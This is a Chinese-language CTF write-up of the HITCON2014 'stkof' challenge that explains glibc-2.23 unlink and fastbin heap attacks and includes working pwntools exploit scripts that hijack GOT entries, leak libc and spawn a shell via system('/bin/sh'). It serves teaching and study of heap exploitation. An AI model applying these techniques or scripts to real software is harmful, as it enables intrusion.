【Pwn】HITCON2014 stkof -溫故知新unlink & fastbin attack
本文永久連結:https://thinkycx.me/posts/2018-11-30-HITCON2014-stkof.html
相關檔案和exploit下載地址:https://github.com/thinkycx/pwn/tree/master/HITCON2014/stkof
這題是HITCON2014中一道高分題,放到今天來看也就是考察普通的unlink利用。既然重新做了,就好好的寫一下,省的以後再返工。廢話不多說,具體來看一下。(文末更新,本題用fastbin attack也可以做)
0x01 題目資訊
64位程式,開了NX和canary。
程式提供了四個功能:
- create功能: malloc任意大小的chunk,並儲存malloc返回的指標在bss的data[++malloc_times]陣列中。注意:chunk1儲存在data[1]。
- input功能:獲取chunk number和size,向data[number]的chunk寫size長度的資料,堆溢位!
- delete功能:獲取chunk number,呼叫free函式,並清空data[number]。
- sub_400BA9函式:似乎是一個沒有寫完的函式,呼叫puts輸出了一些東西,沒用到。
0x02 unlink
unlink 實現
glibc-2.23中unlink巨集的實現:
/* Take a chunk off a bin list */ #define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \ //size malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ // FD BK malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ else { \ FD->bk = BK; \ BK->fd = FD; \ // arbitray write here! if (!in_smallbin_range (P->size) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ // todo again if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV); \ if (FD->fd_nextsize == NULL) { \ if (P->fd_nextsize == P) \ FD->fd_nextsize = FD->bk_nextsize = FD; \ else { \ FD->fd_nextsize = P->fd_nextsize; \ FD->bk_nextsize = P->bk_nextsize; \ P->fd_nextsize->bk_nextsize = FD; \ P->bk_nextsize->fd_nextsize = FD; \ } \ } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ } \ } \ } \ }
unlink設計的理由個人理解是:free當前chunk時,發現當前chunk相鄰的(前面或者後面的)chunk處於free狀態,因此可以將兩個chunk合併。但是由於相鄰的chunk已經是free的,該chunk的FD和BK指向了所在bins中的前後chunk,因此需要將該chunk解鏈(unlink),之後和當前正在free的chunk合併。
unlink attack的條件
在glibc-2.23 x64位程式中要實現free時unlink attack的一個條件如下(別的場景下也可以實現unlink,如realloc):
- 可以malloc size>0x80的chunk,chunk地址假設為ptr
- 該chunk的PREV_SIZE和PREV_INUSE可以被修改(通常是前面chunk的堆溢位,或者極限一點off-by-one)
- 在ptr-PREV_SIZE偽造一個大小是PREV_SIZE的fake chunk ,地址假設為fake_chunk_ptr(PREV_SIZE偽造時,要看記憶體中有什麼指標)
- 記憶體中有fake_chunk_ptr指標,偽造fake chunk的FD=&fake_chunk_ptr-0x18,BK=&fake_chunk_ptr-0x10
unlink最終實現的效果是,記憶體中的fake_chunk_ptr指標被修改為fake_chunk_ptr-0x18,通常此時可以實現指標的修改,從而實現arbitrary write!
unlink attack舉例
以本題為例,malloc的size沒有限制,並且存在堆溢位。那麼構造一個如下的堆佈局:chunk2大小是0x31,chunk3大小是0x91。程式bss中有儲存malloc chunk的地址,如chunk2的地址是0x0e06840。
unlink最重要的是在記憶體中找到fake_chunk_p,這裡是0xe06840,fake_chunk_p的地址為0x602150。
- 計算fake_chunk_p和chunk3的offset為0x20,因此在fake_chunk_p處構造一個size為0x21的chunk。
- fake_fd = fake_chunk_p-0x18 ,fake_bk = fake_chunk_p-0x10
- 溢位chunk3的PREV_SIZE為offset,溢位chunk3的PREV_INUSE。
構造好的堆佈局如下:
因此unlink發生時,結合unlink巨集的原始碼,可以bypass最重要的校驗,同時在unlink時修改fake_chunk_p:
FD->bk = *(fake_fd+0x18) == fake_chunk_p
BK->fd = *(fake_bk+0x10) == fake_chunk_p
...
FD->bk = BK; *(fake_chunk_p-0x18+0x18) = fake_chunk_p-0x10
BK->fd = FD; *(fake_chunk_p-0x10+0x10) = fake_chunk_p-0x18
// 最終實現 *(fake_chunk_p) = fake_chunk_p-0x18
0x03 exploit
unlink的實現原理搞清楚了,本題的利用思路也就很清楚了。
- 由於本題沒有呼叫setbuf,因此gets和printf第一次呼叫時會申請chunk,因此malloc第一個0x400的chunk1來呼叫gets和printf,先申請好他們的chunk,不影響我們後續的堆佈局。chunk1的地址儲存在bss段data[1]中。
- malloc 0x20和0x80的chunk2和chunk3,修改chunk2內容,偽造fake_chunk 並溢位chunk3的PREV_SIZE和PREV_INUSE,free chunk3來unlink fake_chunk,實現修改data[2],劫持了chunk2的指標為fake_chunk-0x18,也就是data[-1]的位置。
- 修改chunk2,實現對bss段data[]內容的修改,就劫持了chunk 1 2 3 的指標。由於要洩漏libc,修改chunk2時修改data[1]為[email protected],繼續修改chunk1時,就可以 修改[email protected]的內容,劫持free函式。由於要洩漏libc,因此劫持[email protected]為[email protected]。
- 同理,劫持[email protected]為system地址,getshell。見exp.py。
- 由於可以呼叫puts函式,因此libc也可以用pwntools的DynELF來得到,就不需要libc binary了,見exp2.py。
exp.py
def pwn(io):
log.info("[1] create 1 2(malloc 0x20) 3(malloc 0x80) chunks")
# binary don't have setbuf , heap looks like : gets's chunk, first user malloc chunk, printf's chunk
create(0x400) # 1 first chunk in data[] number is 1 ;because ++malloc_times
# gdb.attach(io,'break *0x400C85') # 0x0000000000400C85 atoi in main
create(0x20) # 2 store fake chunk here
# create smallbins
create(0x80) # 3
# create(0x10) # 4 after unlink, don't merge with top chunks
log.info("[2] arrange fake 0x21 chunk and fd bk in chunk2 & overflow 3's PREV_SIZE and PREV_INUSE")
fake_unlink_p = 0x602150
fd = fake_unlink_p-0x18
bk = fake_unlink_p-0x10
payload1_overflow = p64(0) + p64(0x21) + p64(fd) + p64(bk)+ p64(0x20) + p64(0x90) # overflow chunk3 PREV_INUSE , set to 0x90
input(2,len(payload1_overflow),payload1_overflow)
delete(3) # unlink chunk2 *(fake_unlink_p) = fd, change the global ptr data[2]@0x602150's content to FD (fake_unlink_p-0x18)!
log.success("unlink success! we can arbitrary write now!")
log.info("[3] write [email protected] into [email protected] and call puts([email protected])")
# 1 2 3 4
payload2_globalptr = p64(0) + p64(0) + p64(elf.got['free']) + p64(fd) + p64(elf.got['puts']) + p64(0x400DEC) # //TODO
input(2, len(payload2_globalptr), payload2_globalptr)
input(1, 8, p64(elf.plt['puts']))
delete(4) # puts("//TODO")
delete(3) # puts([email protected])
io.recvuntil("//TODO\nOK\n")
libc.address = u64(io.recv(6)+"\x00\x00") - libc.symbols['_IO_puts']
log.success("glibc address base @ 0x%x",libc.address )
log.info("[4] write &system into [email protected] and call system(\"/bin/sh\")")
payload3_globalptr = p64(0) + p64(0) + p64(elf.got['free']) + p64(fd) + p64(fake_unlink_p+0x10) + "/bin/sh\x00"
input(2, len(payload3_globalptr), payload3_globalptr)
input(1, 8, p64(libc.symbols['system']))
delete(3) # system("/bin/sh")
Diff exp2.py exp.py
def leak(address):
payload = p64(0) + p64(0) + p64(address)
input(2, len(payload), payload)
delete(1) # puts(address)
io.recvuntil("OK\n")
# raw_input("recv")
data = io.recv()
data = data.split("\nOK\n")[0] # this data is not belong to this address
if data=="":
data = "\x00"
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
def pwn(io):
[...]
log.info("[3] write [email protected] into [email protected]")
# 1 2 3 4
payload2_globalptr = p64(0) + p64(0) + p64(elf.got['free']) + p64(fd) + p64(0x400DEC) # //TODO
input(2, len(payload2_globalptr), payload2_globalptr)
input(1, 8, p64(elf.plt['puts']))
io.recv()
log.info("[4] leak system address...")
# leak(elf.got['free'])
# leak(0x400000)
d = DynELF(leak, elf.address, elf)
system_addr = d.lookup('system', 'libc') # must have 'libc'
log.success("system addr: %#x" % system_addr)
PS1:IDA7.0 F5虛擬碼中將bss上儲存malloc地址的變數識別為::s
,很容易和棧上的變數s搞混,一開始還以為是同一個變數,最好修改個名字中,這裡修改為data。
PS2:如果unlink時,chunk3後是top chunk,chunk2 chunk3會和top chunk合併。
如果chunk3後不是top chunk,那麼chunk2和chunk3會合並,同時fd和bk會指向main_arena+88,就是&main_arena->top。
0x04 新解 fastbin attack
20181203思路:申請fastbin的chunk2 chunk3 , free chunk3,堆溢位修改chunk3的fd,size偽造在&malloc_times,因此malloc兩次就可以在&malloc_times+0x8處寫。同樣可以修改data中的指標。
diff exp.py exp-fastbin.py
def pwn(io):
log.info("[1] malloc 0x30 times ")
# binary don't have setbuf , heap looks like : gets's chunk, first user malloc chunk, printf's chunk
create(0x400) # 1 first chunk in data[] number is 1 ;because ++malloc_times
for i in range(0x2f):
create(0x20)
log.info("[2] free chunk3 , overflow chunk3'fd , fastbin attack ")
delete(3)
# gdb.attach(io,'break *0x400C85') # 0x0000000000400C85 atoi in main
payload = 0x28*"a" + p64(0x31) + p64(0x0000000000602100-8)
input(2, len(payload), payload)
create(0x20) # 0x31
create(0x20) # 0x32
# gdb.attach(io,'break *0x400C85') # 0x0000000000400C85 atoi in main
log.success("fastbin attach success! we can arbitrary write now!")
log.info("[3] write [email protected] into [email protected] and call puts([email protected])")
# 1 2 3 4
payload2_globalptr = p64(0)*8 + p64(elf.got['free']) + p64(0xdeadbeaf) + p64(elf.got['puts']) + p64(0x400DEC) # //TODO
input(0x32, len(payload2_globalptr), payload2_globalptr)
[...]